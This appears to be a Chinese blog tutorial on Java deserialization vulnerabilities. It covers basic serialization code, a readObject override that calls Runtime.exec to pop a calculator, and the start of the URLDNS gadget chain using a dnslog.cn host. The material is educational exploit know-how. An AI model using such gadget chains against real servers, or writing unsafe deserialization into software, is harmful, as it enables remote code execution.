Java安全基础(Java反序列化漏洞专题-基础篇)

发布时间 2023-05-09 17:25:43作者: A1oe

Java安全基础

序列化和反序列化

  • 序列化:把Java对象转换为字节序列的过程

  • 反序列化:把字节序列恢复为Java对象的过程

  • 使用原因:用于传递

  • 常用协议:XML&SOAP、JSON、Protobuf

  • 使用方式如下:writeObject()、readObject()。(静态成员变量、transient标识的对象成员变量不能序列化)

Alt + 7调出Structure

Person.java(需要实现Serializable接口)

import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private int age;

    public Person() {
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "Persion{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

SerializationTest

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws IOException{
        Person person = new Person("aa",22);
        System.out.println(person);
        serialize(person);
    }
}

UnserializeTest

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}
  • 安全问题:只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。

  • 可能的形式

    • 入口类的readObeject直接调用危险方法

    • 入口类参数中包含可控类,该类有危险方法,readObject时调用

    • 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

    • 构造函数/静态代码块等类加载时隐式执行

  1. 入口类的readObeject直接调用危险方法(基本不可能出现)

Person.java中添加以下代码

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

序列化再反序列化,执行readObject代码,弹出计算器

  1. 入口类参数中包含可控类

条件:(1)继承Serializable、(2)入口类source(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带 Map,HashMap HashTable)、(3)调用链gadget chain 相同名称 相同类型、(4)执行类sink(rce ssrf 写文件等等) 最重要

URLDNS

Ctrl+H调出查看类层级关系图同版本

  • 利用点仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。

  • 但是有以下优点:

    • Java 内置的类构造,对第三⽅库没有依赖

    • 没有回显的时候,能够通过 DNS 请求检测是否存在反序列化漏洞 URL 类。之后调用openConnection方法,不是常见函数,很难往下利用。

  • 利用URL中的HashMap(错误示范)
public static void main(String[] args) throws IOException{
        Person person = new Person("aa",22);
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        //put已经发起了dns请求,put调用了hash,hash调用了hashCode(key),hashCode调用了getHostAddress方法
        hashmap.put(new URL("http://k15i0g.dnslog.cn"),1);
        serialize(hashmap);
    }

坏处:1.可能误以为是反序列化发起的dns。2.反序列化的时候其实收不到dns请求。

原因:URL类中的hashCode,再hashCode!=1的时候直接返回hashCode,而序列化的时候hashCode已经!=1了(初始化的时候才为1)

解决:1.put不发起请求。2.使用反射技术改变已有对象的属性,把hashcode改为-1。

link:https://drun1baby.top/2022/05/17/Java反序列化基础篇-01-反序列化概念与利用/

Java 反射与 URLDNS 链分析